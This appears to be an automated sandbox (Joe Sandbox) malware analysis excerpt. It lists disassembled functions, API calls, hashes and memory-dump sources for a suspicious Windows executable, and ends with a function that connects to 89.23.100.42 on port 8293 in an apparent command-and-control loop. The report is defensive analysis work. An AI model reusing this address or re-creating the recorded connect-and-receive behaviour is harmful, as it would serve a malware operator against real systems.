Snapshot File: hcaresult_0_2_90000_T4qO1i2Jav.jbxd

Similarity

API ID: _read
String ID: random_device could not be read
API String ID: 3312595324-883157155
Opcode ID: ee035dcea128e7c9ae988a523e8a32bd0bb882a3d4afa442cc3a1943f3fc331c
Instruction ID: ada5e3a6b24a8e2f63c305aa21f02bcff617dc7df3c82c98682922beecb886c6
Opcode Fuzzy Hash: ee035dcea128e7c9ae988a523e8a32bd0bb882a3d4afa442cc3a1943f3fc331c
Instruction Fuzzy Hash: 7001D1B0A042419FCB14AFAAD98466BBBF4FF45350F108039F955E72A2D730DC41D7A2

Function 0009FE4A Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 31threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0009FE6E
OutputDebugStringA.KERNEL32 ref: 0009FE93
abort.MSVCRT(00000000), ref: 0009FE9A

Strings

5, xrefs: 0009FE80

Memory Dump Source

Source File: 00000000.00000002.2084722795.0000000000091000.00000020.00000001.01000000.00000003.sdmp, Offset: 00090000, based on PE: true

Associated: 00000000.00000002.2084658882.0000000000090000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084823715.000000000010C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085033950.000000000010E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085180903.000000000011A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085221584.000000000011D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_90000_T4qO1i2Jav.jbxd

Similarity

API ID: CurrentDebugOutputStringThreadabort
String ID: 5
API String ID: 3512971422-2226203566
Opcode ID: 97c5621811a103992007f88ccb8674a5ab628fd42d9c4fb8d4ced7319161d4e8
Instruction ID: 645c4fc1bd9b33cbdfc931d7f8c8b72a3fa9e69809fc00eab62a00014880928b
Opcode Fuzzy Hash: 97c5621811a103992007f88ccb8674a5ab628fd42d9c4fb8d4ced7319161d4e8
Instruction Fuzzy Hash: FDF05E70505705ABCB10AF74D8880EEBFF8FF44364F40892DF59887292EB7546858B52

Function 0009DCD8 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 19stringCOMMON

Download Yara Rule

APIs

setlocale.MSVCRT ref: 0009DCEB
strchr.MSVCRT ref: 0009DCFB
atoi.MSVCRT ref: 0009DD0C

Strings

., xrefs: 0009DCF0

Memory Dump Source

Source File: 00000000.00000002.2084722795.0000000000091000.00000020.00000001.01000000.00000003.sdmp, Offset: 00090000, based on PE: true

Associated: 00000000.00000002.2084658882.0000000000090000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084823715.000000000010C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085033950.000000000010E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085180903.000000000011A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085221584.000000000011D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_90000_T4qO1i2Jav.jbxd

Similarity

API ID: atoisetlocalestrchr
String ID: .
API String ID: 1223908000-248832578
Opcode ID: 9978535371c109d4dbfea5a99aba8db5fdd8f4c3d350cac8ed83c877284b4e6f
Instruction ID: 695cb9901a86e47d5d5c6e8bae5802b9b2217fb2d68b6eb84be29296ffd64081
Opcode Fuzzy Hash: 9978535371c109d4dbfea5a99aba8db5fdd8f4c3d350cac8ed83c877284b4e6f
Instruction Fuzzy Hash: 69E0177464C7408ACB04FF38C84A22ABAE5AF84304F11D82CA0C8C7247FBB4C840A743

Function 000A0048 Relevance: 6.4, APIs: 5, Instructions: 110COMMON

Download Yara Rule

APIs

memmove.MSVCRT(?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,000A0C84), ref: 000A00E8
free.MSVCRT ref: 000A0105
free.MSVCRT ref: 000A0141
free.MSVCRT ref: 000A0150
free.MSVCRT ref: 000A015F

Memory Dump Source

Source File: 00000000.00000002.2084722795.0000000000091000.00000020.00000001.01000000.00000003.sdmp, Offset: 00090000, based on PE: true

Associated: 00000000.00000002.2084658882.0000000000090000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084823715.000000000010C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085033950.000000000010E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085180903.000000000011A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085221584.000000000011D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_90000_T4qO1i2Jav.jbxd

Similarity

API ID: free$memmove
String ID:
API String ID: 1534225298-0
Opcode ID: 7b9ae5c0480a8c222748a600b8caf4d33c0dcb9f78ac0a34d11585d1365b7245
Instruction ID: 03b1378c51b6a7707e70c45ba0e1b27e05c2b26da3bf37b60c6d0f970057c791
Opcode Fuzzy Hash: 7b9ae5c0480a8c222748a600b8caf4d33c0dcb9f78ac0a34d11585d1365b7245
Instruction Fuzzy Hash: 59412770E042498FCF54DFA9D994AEEBBF1BF49304F248829D458EBA11E335D881CB51

Function 00096A0F Relevance: 6.3, APIs: 5, Instructions: 86stringCOMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00096A60
strlen.MSVCRT ref: 00096AA8
strcpy.MSVCRT ref: 00096ABE
free.MSVCRT ref: 00096AC6
free.MSVCRT ref: 00096AD9

Memory Dump Source

Source File: 00000000.00000002.2084722795.0000000000091000.00000020.00000001.01000000.00000003.sdmp, Offset: 00090000, based on PE: true

Associated: 00000000.00000002.2084658882.0000000000090000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084823715.000000000010C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085033950.000000000010E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085180903.000000000011A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085221584.000000000011D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_90000_T4qO1i2Jav.jbxd

Similarity

API ID: free$strcpystrlen
String ID:
API String ID: 2746913497-0
Opcode ID: 66d827e5aaab2e036fd1d6e26e66411891f890cb8628067a93c6049cd3517ebc
Instruction ID: 431f266569b4146638ac3f7bc37a6c2a56c3b9d75335503992632d8eaf32a496
Opcode Fuzzy Hash: 66d827e5aaab2e036fd1d6e26e66411891f890cb8628067a93c6049cd3517ebc
Instruction Fuzzy Hash: 8F316B70904645CBCF21DFA6C4806AEBBF0AF94320F14C12AE855B7381D7769841EF93

Function 000A1653 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

GetHandleInformation.KERNEL32 ref: 000A16A2

Part of subcall function 0009F7B0: GetCurrentThreadId.KERNEL32 ref: 0009F7DE

Memory Dump Source

Source File: 00000000.00000002.2084722795.0000000000091000.00000020.00000001.01000000.00000003.sdmp, Offset: 00090000, based on PE: true

Associated: 00000000.00000002.2084658882.0000000000090000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084823715.000000000010C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085033950.000000000010E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085180903.000000000011A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085221584.000000000011D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_90000_T4qO1i2Jav.jbxd

Similarity

API ID: CurrentHandleInformationThread
String ID:
API String ID: 2774142965-0
Opcode ID: 8cbe5df9cfb5b08f0e8eab5b2592b0341e6955285ea3441355830736ce63b013
Instruction ID: aa4e13b451fc442538e3a30b0c18ed7282b07fcf88d369248995a8bac8723b66
Opcode Fuzzy Hash: 8cbe5df9cfb5b08f0e8eab5b2592b0341e6955285ea3441355830736ce63b013
Instruction Fuzzy Hash: CF317CB55082059BDB10AFF5D9856FEBBF9EF46390F054429E8C0CB242DB74D880DBA2

Function 0009E08C Relevance: 6.1, APIs: 4, Instructions: 87COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32 ref: 0009E102
IsDBCSLeadByteEx.KERNEL32 ref: 0009E123
MultiByteToWideChar.KERNEL32 ref: 0009E180
_errno.MSVCRT ref: 0009E18D

Memory Dump Source

Source File: 00000000.00000002.2084722795.0000000000091000.00000020.00000001.01000000.00000003.sdmp, Offset: 00090000, based on PE: true

Associated: 00000000.00000002.2084658882.0000000000090000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084823715.000000000010C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085033950.000000000010E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085180903.000000000011A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085221584.000000000011D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_90000_T4qO1i2Jav.jbxd

Similarity

API ID: Byte$CharMultiWide$Lead_errno
String ID:
API String ID: 2766522060-0
Opcode ID: 35d0007d16ffa19adc04480e1d7be1afcfb124e93d7b60e0f571ee5fa6badf03
Instruction ID: 37d8b612390a77e3848273870bc17a2c168ed8693623e721b79bc0a8bd675823
Opcode Fuzzy Hash: 35d0007d16ffa19adc04480e1d7be1afcfb124e93d7b60e0f571ee5fa6badf03
Instruction Fuzzy Hash: 863158B0409382DFDB10DF29C5443AEBFE4BF81354F00855EE8A48B291D3B58988DB93

Function 000A05AA Relevance: 6.1, APIs: 4, Instructions: 77COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00097AF0,?,?,00000000,?,00091B51), ref: 000A05B3

Part of subcall function 0009FF35: TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,000A0564), ref: 0009FF4B
Part of subcall function 0009FF35: GetCurrentThreadId.KERNEL32 ref: 0009FF74
Part of subcall function 0009FF35: CreateEventA.KERNEL32 ref: 0009FF92
Part of subcall function 0009FF35: GetCurrentThread.KERNEL32 ref: 0009FFC2
Part of subcall function 0009FF35: DuplicateHandle.KERNELBASE ref: 0009FFF3
Part of subcall function 0009FF35: abort.MSVCRT(00000000,00000000), ref: 000A0000
Part of subcall function 0009FF35: GetThreadPriority.KERNEL32(00000000,00000000), ref: 000A000B
Part of subcall function 0009FF35: TlsSetValue.KERNEL32 ref: 000A0032

realloc.MSVCRT ref: 000A05F0
realloc.MSVCRT ref: 000A0606
SetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00097AF0,?,?,00000000,?,00091B51), ref: 000A0674

Memory Dump Source

Source File: 00000000.00000002.2084722795.0000000000091000.00000020.00000001.01000000.00000003.sdmp, Offset: 00090000, based on PE: true

Associated: 00000000.00000002.2084658882.0000000000090000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084823715.000000000010C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085033950.000000000010E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085180903.000000000011A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085221584.000000000011D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_90000_T4qO1i2Jav.jbxd

Similarity

API ID: Thread$CurrentErrorLastValuerealloc$CreateDuplicateEventHandlePriorityabort
String ID:
API String ID: 1142088241-0
Opcode ID: efd3948897a6bed9f74a4ce4be79b4079de7012278d7c2cdc283a3ff3a7c8287
Instruction ID: 5bc9742aa16da18dc2a17323d2bfa41b22282612cdf9f680db91e49e71fdbdce
Opcode Fuzzy Hash: efd3948897a6bed9f74a4ce4be79b4079de7012278d7c2cdc283a3ff3a7c8287
Instruction Fuzzy Hash: 9D31C5B5A042199BCF00EFA8C4849DDBBF5EF49354F51856AE848DB306EB35E881CF91

Function 000A1582 Relevance: 6.1, APIs: 4, Instructions: 76synchronizationCOMMON

Download Yara Rule

APIs

GetHandleInformation.KERNEL32 ref: 000A15BA
WaitForSingleObject.KERNEL32 ref: 000A15FD
CloseHandle.KERNEL32(?,?), ref: 000A1611
CloseHandle.KERNEL32 ref: 000A161E

Memory Dump Source

Source File: 00000000.00000002.2084722795.0000000000091000.00000020.00000001.01000000.00000003.sdmp, Offset: 00090000, based on PE: true

Associated: 00000000.00000002.2084658882.0000000000090000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084823715.000000000010C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085033950.000000000010E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085180903.000000000011A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085221584.000000000011D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_90000_T4qO1i2Jav.jbxd

Similarity

API ID: Handle$Close$InformationObjectSingleWait
String ID:
API String ID: 135186658-0
Opcode ID: a47e5a32212e62cf6f1b50a648fd8d1a37fe0d4edcce7bd778df3da37f4aea88
Instruction ID: 5b3297b0045c18ac31bcc535ddf459f6b989228cc1284e9d1f936542495b724e
Opcode Fuzzy Hash: a47e5a32212e62cf6f1b50a648fd8d1a37fe0d4edcce7bd778df3da37f4aea88
Instruction Fuzzy Hash: 1F217170A04604DBDB50AFB8D9C4AEBBBF9EF85720F058569EC44CB246E734D840CB92

Function 000A01FA Relevance: 6.0, APIs: 4, Instructions: 46threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000A0210
printf.MSVCRT ref: 000A022A
GetCurrentThreadId.KERNEL32 ref: 000A024C
printf.MSVCRT ref: 000A0279

Memory Dump Source

Source File: 00000000.00000002.2084722795.0000000000091000.00000020.00000001.01000000.00000003.sdmp, Offset: 00090000, based on PE: true

Associated: 00000000.00000002.2084658882.0000000000090000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084823715.000000000010C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085033950.000000000010E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085180903.000000000011A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085221584.000000000011D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_90000_T4qO1i2Jav.jbxd

Similarity

API ID: CurrentThreadprintf
String ID:
API String ID: 2356641437-0
Opcode ID: 3ed48444cfac94f4a18a951f1e2e5194a9178ea8fad1273f54f8da9b86ef255f
Instruction ID: 11aed35e7f18e2942731f59982b4aa3e596d140aee5b8943ae82e07025cd8270
Opcode Fuzzy Hash: 3ed48444cfac94f4a18a951f1e2e5194a9178ea8fad1273f54f8da9b86ef255f
Instruction Fuzzy Hash: 88119C75605304AFC704EFA9D98549EBBE5EF89350F01882DF8D887311D774D990CB92

Function 000A1E6F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 35COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 000A1EC9
exit.MSVCRT ref: 000A1ED5

Strings

(, xrefs: 000A1EA6

Memory Dump Source

Source File: 00000000.00000002.2084722795.0000000000091000.00000020.00000001.01000000.00000003.sdmp, Offset: 00090000, based on PE: true

Associated: 00000000.00000002.2084658882.0000000000090000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084823715.000000000010C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085033950.000000000010E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085180903.000000000011A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085221584.000000000011D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_90000_T4qO1i2Jav.jbxd

Similarity

API ID: exitfprintf
String ID: (
API String ID: 4243785698-3887548279
Opcode ID: 6ffa919bc18bdfbc5756df9c4ca78331ce75663e452ecfb01f3fd314f6e8dd7a
Instruction ID: 92fc14adab5874ebe1b4c343e0b7a3567efe7562c334e8079e598506111d1c1b
Opcode Fuzzy Hash: 6ffa919bc18bdfbc5756df9c4ca78331ce75663e452ecfb01f3fd314f6e8dd7a
Instruction Fuzzy Hash: F90119B1104210DFDB04AFA5E5896A9BBE4FF46314F05896CE4D89B202C7B98C84CF93

Function 0009ED46 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?,000A6694,?,000A2475), ref: 0009ED87
LeaveCriticalSection.KERNEL32(000A6694,?,?,?,?,?,?,00000000,?,000A6694,?,000A2475), ref: 0009EE08

Memory Dump Source

Source File: 00000000.00000002.2084722795.0000000000091000.00000020.00000001.01000000.00000003.sdmp, Offset: 00090000, based on PE: true

Associated: 00000000.00000002.2084658882.0000000000090000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084823715.000000000010C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085033950.000000000010E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085180903.000000000011A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085221584.000000000011D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_90000_T4qO1i2Jav.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: ee4459876915e75153e2e6b99737ae5ede29a4809ffb27a46826022664c5a84a
Instruction ID: f0d1023afcfcae0532f554ff585864cbf9d2b3f604abfeb6835beef1672c84e8
Opcode Fuzzy Hash: ee4459876915e75153e2e6b99737ae5ede29a4809ffb27a46826022664c5a84a
Instruction Fuzzy Hash: BB31A071A01684CFCF64DF29D8C0AAAB7E8FF84320F14856AED258B286D330DD41DB91

Function 0009EE35 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,000A7796), ref: 0009EE76
LeaveCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,000A7796), ref: 0009EEC1
LeaveCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,000A7796), ref: 0009EEE2
LeaveCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,000A7796), ref: 0009EEF8

Part of subcall function 0009EB6F: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,00000001,?,?,0009EF8E), ref: 0009EB8C
Part of subcall function 0009EB6F: LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,00000001,?,?,0009EF8E), ref: 0009EBA0
Part of subcall function 0009EB6F: EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000001,?,?,0009EF8E), ref: 0009EBC9
Part of subcall function 0009EB6F: LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,?,?,0009EF8E), ref: 0009EBD9

Memory Dump Source

Source File: 00000000.00000002.2084722795.0000000000091000.00000020.00000001.01000000.00000003.sdmp, Offset: 00090000, based on PE: true

Associated: 00000000.00000002.2084658882.0000000000090000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084823715.000000000010C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085033950.000000000010E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085180903.000000000011A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085221584.000000000011D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_90000_T4qO1i2Jav.jbxd

Similarity

API ID: CriticalSection$Leave$Enter
String ID:
API String ID: 2978645861-0
Opcode ID: a35b8807f338278e78091ca16846641b1a3d44fe6686ab902955589433b58018
Instruction ID: aa37637b726c5074398e2d8b6aab8e9c6ee3f13579247af975bda2f8c4e656fc
Opcode Fuzzy Hash: a35b8807f338278e78091ca16846641b1a3d44fe6686ab902955589433b58018
Instruction Fuzzy Hash: A0313E71A04685CFCF54DF6AD8C09AABBE5FF84320B14C57AE8198B246E730DD41DBA1

Function 0009EB6F Relevance: 5.1, APIs: 4, Instructions: 51COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,00000001,?,?,0009EF8E), ref: 0009EB8C
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,00000001,?,?,0009EF8E), ref: 0009EBA0
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000001,?,?,0009EF8E), ref: 0009EBC9
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,?,?,0009EF8E), ref: 0009EBD9

Memory Dump Source

Source File: 00000000.00000002.2084722795.0000000000091000.00000020.00000001.01000000.00000003.sdmp, Offset: 00090000, based on PE: true

Associated: 00000000.00000002.2084658882.0000000000090000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084823715.000000000010C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085033950.000000000010E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085180903.000000000011A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085221584.000000000011D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_90000_T4qO1i2Jav.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 8cec8a83462796512f10e01bc4e06ef2ae69d9cf536368bcf31b9ba4837902ee
Instruction ID: 0d1b95aa6ed435d3d1cfd64f2407dd63e209dbb4ff08e280f4dadd8bc32ce07f
Opcode Fuzzy Hash: 8cec8a83462796512f10e01bc4e06ef2ae69d9cf536368bcf31b9ba4837902ee
Instruction Fuzzy Hash: F3113CB5A056199FCB14DFA9D88489FBBF8FF8C311B01846EE94A97311C7359940CF91

Function 0009D0E4 Relevance: 5.0, APIs: 4, Instructions: 49sleepCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(00000000,?,?,0009D1EF,?,?,00000000,?,?,?,0009D99A), ref: 0009D106
InitializeCriticalSection.KERNEL32(00000000,?,?,0009D1EF,?,?,00000000,?,?,?,0009D99A), ref: 0009D12F
InitializeCriticalSection.KERNEL32(?,?,0009D1EF,?,?,00000000,?,?,?,0009D99A), ref: 0009D139
Sleep.KERNEL32(00000000,?,?,0009D1EF,?,?,00000000,?,?,?,0009D99A), ref: 0009D16A

Memory Dump Source

Source File: 00000000.00000002.2084722795.0000000000091000.00000020.00000001.01000000.00000003.sdmp, Offset: 00090000, based on PE: true

Associated: 00000000.00000002.2084658882.0000000000090000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084823715.000000000010C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085033950.000000000010E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085180903.000000000011A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085221584.000000000011D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_90000_T4qO1i2Jav.jbxd

Similarity

API ID: CriticalSection$Initialize$EnterSleep
String ID:
API String ID: 1117354567-0
Opcode ID: 69ad7434de854ed9f760f651f7794adabf40957239ee93a8a8fdc7f57a486f20
Instruction ID: 81277200ea73d66a527e73198f9fb529e7c76577bd74b2a655013eeb46dc0aa4
Opcode Fuzzy Hash: 69ad7434de854ed9f760f651f7794adabf40957239ee93a8a8fdc7f57a486f20
Instruction Fuzzy Hash: CA01D4B2588210ABCF246F99FD956EA7FE8EF00320F54441BE0A5C3610D37A88C4D793

Function 00097230 Relevance: 5.0, APIs: 4, Instructions: 34COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,00097409,?,?,?,?,00096BD0), ref: 0009723F
TlsGetValue.KERNEL32(?,?,?,?,00097409,?,?,?,?,00096BD0), ref: 00097255
GetLastError.KERNEL32(?,?,?,?,?,00097409,?,?,?,?,00096BD0), ref: 0009725E
LeaveCriticalSection.KERNEL32(?,?,?,?,00097409,?,?,?,?,00096BD0), ref: 00097280

Memory Dump Source

Source File: 00000000.00000002.2084722795.0000000000091000.00000020.00000001.01000000.00000003.sdmp, Offset: 00090000, based on PE: true

Associated: 00000000.00000002.2084658882.0000000000090000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084823715.000000000010C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085033950.000000000010E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085180903.000000000011A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085221584.000000000011D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_90000_T4qO1i2Jav.jbxd

Similarity

API ID: CriticalSection$EnterErrorLastLeaveValue
String ID:
API String ID: 682475483-0
Opcode ID: 8009c3b9e56fc40efebaed49a26b38078aa4fa81fa547587fa88dcd0ca8ec986
Instruction ID: 5465707466468b7f57378aa4e7ab27c3d3cbe149bfbecc2f0b24e084422370aa
Opcode Fuzzy Hash: 8009c3b9e56fc40efebaed49a26b38078aa4fa81fa547587fa88dcd0ca8ec986
Instruction Fuzzy Hash: 5AF09072119610CBCF18AFE4EAC85AEBFF8FF08750F004158F98987211D734A980CBA2

Analysis Process: U08CYPEDK3U9ZW3NZ4R.exePID: 1228, Parent PID: 5260COMMON

Execution Graph

Execution Coverage:	1.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	6.4%
Total number of Nodes:	987
Total number of Limit Nodes:	30

Executed Functions

Function 006ED7C0 Relevance: 37.6, APIs: 17, Strings: 4, Instructions: 834
networksleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

recv.WS2_32(?,?,000003FF,00000000), ref: 006ED828
ExitProcess.KERNEL32 ref: 006EDDDE
ExitProcess.KERNEL32 ref: 006EDE1B

Part of subcall function 006F0078: CloseHandle.KERNEL32(?,?,006ED1BA,?,00000000), ref: 006F007E

WSAStartup.WS2_32(00000202,?), ref: 006EDFC2
htons.WS2_32(00000000), ref: 006EE02A
inet_pton.WS2_32(00000002,0071EFE4,?), ref: 006EE04E
socket.WS2_32(00000002,00000001,00000000), ref: 006EE05A
Sleep.KERNEL32(00001388), ref: 006EE06C
connect.WS2_32(00000000,?,00000010), ref: 006EE07B

Part of subcall function 006ED1E0: _strftime.LIBCMT ref: 006ED312

recv.WS2_32(00000000,00000000,00000000,00000000), ref: 006EE133
closesocket.WS2_32(00000000), ref: 006EE151
Sleep.KERNEL32(00001388), ref: 006EE169
std::_Throw_Cpp_error.LIBCPMT ref: 006EE1B4
std::_Throw_Cpp_error.LIBCPMT ref: 006EE1C2
GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 006EE223
GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,?), ref: 006EE289
GetTempPathA.KERNEL32(00000104,?), ref: 006EE29C
std::_Throw_Cpp_error.LIBCPMT ref: 006EE601
std::_Throw_Cpp_error.LIBCPMT ref: 006EE610
GetCurrentProcessId.KERNEL32 ref: 006EE628

Part of subcall function 006E42A0: Sleep.KERNEL32(05265C00,00000000,00000000,?,000F4240,00000000,?,?,000F4240,00000000,?), ref: 006E434E
Part of subcall function 006E42A0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 006E4364
Part of subcall function 006E42A0: Sleep.KERNEL32(00000000,00000000,?,000F4240,00000000,?,?,000F4240,00000000,?), ref: 006E4385

Strings

invalid stoi argument, xrefs: 006EDF3E, 006EE192
8293, xrefs: 006EDFEC
stoi argument out of range, xrefs: 006EDF48, 006EE19C
89.23.100.42, xrefs: 006EE03E

Memory Dump Source

Source File: 00000005.00000002.2999343188.00000000006E0000.00000040.10000000.00040000.00000000.sdmp, Offset: 006E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6e0000_U08CYPEDK3U9ZW3NZ4R.jbxd

Similarity

API ID: Cpp_errorSleepThrow_std::_$Process$ExitFileModuleNamerecv$CloseCurrentHandlePathStartupTempUnothrow_t@std@@@__ehfuncinfo$??2@_strftimeclosesocketconnecthtonsinet_ptonsocket
String ID: 8293$89.23.100.42$invalid stoi argument$stoi argument out of range
API String ID: 2732336214-2298563383
Opcode ID: 0ef2782f6f8a22ea8e9e19d0c8e3cdbd1de34e936990b05fc137256f9d93cb50
